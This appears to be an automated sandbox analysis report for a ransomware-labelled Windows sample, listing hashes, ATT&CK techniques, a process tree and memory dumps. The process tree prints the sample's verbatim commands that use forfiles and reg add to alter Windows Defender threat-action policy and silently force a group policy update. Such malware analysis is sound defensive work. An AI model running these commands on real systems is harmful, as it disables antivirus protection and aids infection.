4661333bebfb27d6d26b199112c8f18198539198a30f53bf1aabc717f543684b

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
05/08/2024, 07:53

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General

Target

2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe
Size

6.7MB
MD5

6e877e91ebdc0fbbced46af7bdedb9b6
SHA1

3878083686d6eba27e7d914235d8a817ec516f56
SHA256

4661333bebfb27d6d26b199112c8f18198539198a30f53bf1aabc717f543684b
SHA512

5524bd01e8dffad336ebee644b6285dc0f1476b65d3d8b368ac304d8fa056055b5988e1b83e64806009e658fd09c35bdcff3819046d091ba35e4dbfcaa34ecb7
SSDEEP

196608:r5VyxQv+JRbIeBTsWrupdujxWVckrxrujUt3lHM3:1we+JREeCWrsu4rrsUt3l

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2720	powershell.exe

Indirect Command Execution 1 TTPs 5 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2412	forfiles.exe
1724	forfiles.exe
1856	forfiles.exe
2304	forfiles.exe
2724	forfiles.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2608	2184	WerFault.exe	29

System Location Discovery: System Language Discovery 1 TTPs 18 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	gpupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2720	powershell.exe
2720	powershell.exe
2720	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2720	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2184 wrote to memory of 2320	2184	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	30
PID 2184 wrote to memory of 2320	2184	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	30
PID 2184 wrote to memory of 2320	2184	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	30
PID 2184 wrote to memory of 2320	2184	2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe	30
PID 2320 wrote to memory of 2412	2320	cmd.exe	32
PID 2320 wrote to memory of 2412	2320	cmd.exe	32
PID 2320 wrote to memory of 2412	2320	cmd.exe	32
PID 2320 wrote to memory of 2412	2320	cmd.exe	32
PID 2412 wrote to memory of 2404	2412	forfiles.exe	33
PID 2412 wrote to memory of 2404	2412	forfiles.exe	33
PID 2412 wrote to memory of 2404	2412	forfiles.exe	33
PID 2412 wrote to memory of 2404	2412	forfiles.exe	33
PID 2404 wrote to memory of 1052	2404	cmd.exe	34
PID 2404 wrote to memory of 1052	2404	cmd.exe	34
PID 2404 wrote to memory of 1052	2404	cmd.exe	34
PID 2404 wrote to memory of 1052	2404	cmd.exe	34
PID 2320 wrote to memory of 1724	2320	cmd.exe	35
PID 2320 wrote to memory of 1724	2320	cmd.exe	35
PID 2320 wrote to memory of 1724	2320	cmd.exe	35
PID 2320 wrote to memory of 1724	2320	cmd.exe	35
PID 1724 wrote to memory of 2032	1724	forfiles.exe	36
PID 1724 wrote to memory of 2032	1724	forfiles.exe	36
PID 1724 wrote to memory of 2032	1724	forfiles.exe	36
PID 1724 wrote to memory of 2032	1724	forfiles.exe	36
PID 2032 wrote to memory of 1720	2032	cmd.exe	37
PID 2032 wrote to memory of 1720	2032	cmd.exe	37
PID 2032 wrote to memory of 1720	2032	cmd.exe	37
PID 2032 wrote to memory of 1720	2032	cmd.exe	37
PID 2320 wrote to memory of 1856	2320	cmd.exe	38
PID 2320 wrote to memory of 1856	2320	cmd.exe	38
PID 2320 wrote to memory of 1856	2320	cmd.exe	38
PID 2320 wrote to memory of 1856	2320	cmd.exe	38
PID 1856 wrote to memory of 2792	1856	forfiles.exe	39
PID 1856 wrote to memory of 2792	1856	forfiles.exe	39
PID 1856 wrote to memory of 2792	1856	forfiles.exe	39
PID 1856 wrote to memory of 2792	1856	forfiles.exe	39
PID 2792 wrote to memory of 2936	2792	cmd.exe	40
PID 2792 wrote to memory of 2936	2792	cmd.exe	40
PID 2792 wrote to memory of 2936	2792	cmd.exe	40
PID 2792 wrote to memory of 2936	2792	cmd.exe	40
PID 2320 wrote to memory of 2304	2320	cmd.exe	41
PID 2320 wrote to memory of 2304	2320	cmd.exe	41
PID 2320 wrote to memory of 2304	2320	cmd.exe	41
PID 2320 wrote to memory of 2304	2320	cmd.exe	41
PID 2304 wrote to memory of 1664	2304	forfiles.exe	42
PID 2304 wrote to memory of 1664	2304	forfiles.exe	42
PID 2304 wrote to memory of 1664	2304	forfiles.exe	42
PID 2304 wrote to memory of 1664	2304	forfiles.exe	42
PID 1664 wrote to memory of 1852	1664	cmd.exe	43
PID 1664 wrote to memory of 1852	1664	cmd.exe	43
PID 1664 wrote to memory of 1852	1664	cmd.exe	43
PID 1664 wrote to memory of 1852	1664	cmd.exe	43
PID 2320 wrote to memory of 2724	2320	cmd.exe	44
PID 2320 wrote to memory of 2724	2320	cmd.exe	44
PID 2320 wrote to memory of 2724	2320	cmd.exe	44
PID 2320 wrote to memory of 2724	2320	cmd.exe	44
PID 2724 wrote to memory of 2744	2724	forfiles.exe	45
PID 2724 wrote to memory of 2744	2724	forfiles.exe	45
PID 2724 wrote to memory of 2744	2724	forfiles.exe	45
PID 2724 wrote to memory of 2744	2724	forfiles.exe	45
PID 2744 wrote to memory of 2720	2744	cmd.exe	46
PID 2744 wrote to memory of 2720	2744	cmd.exe	46
PID 2744 wrote to memory of 2720	2744	cmd.exe	46
PID 2744 wrote to memory of 2720	2744	cmd.exe	46

C:\Users\Admin\AppData\Local\Temp\2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-08-05_6e877e91ebdc0fbbced46af7bdedb9b6_bkransomware.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2184
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2320
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2412
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2404
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1052
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1724
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2032
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1720
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1856
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2792
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2936
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2304
  - - C:\Windows\SysWOW64\cmd.exe
      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1664
    - - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1852
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    - Indirect Command Execution
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2724
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2744
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2720
      - C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:2176
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2184 -s 256
  2⤵
  - Program crash
  PID:2608

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indirect Command Execution

T1202

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2184-0-0x0000000000260000-0x0000000000927000-memory.dmp

Filesize
6.8MB

Download
memory/2184-5-0x0000000010000000-0x0000000014A7D000-memory.dmp

Filesize
74.5MB

Download
memory/2184-7-0x0000000000260000-0x0000000000927000-memory.dmp

Filesize
6.8MB

Download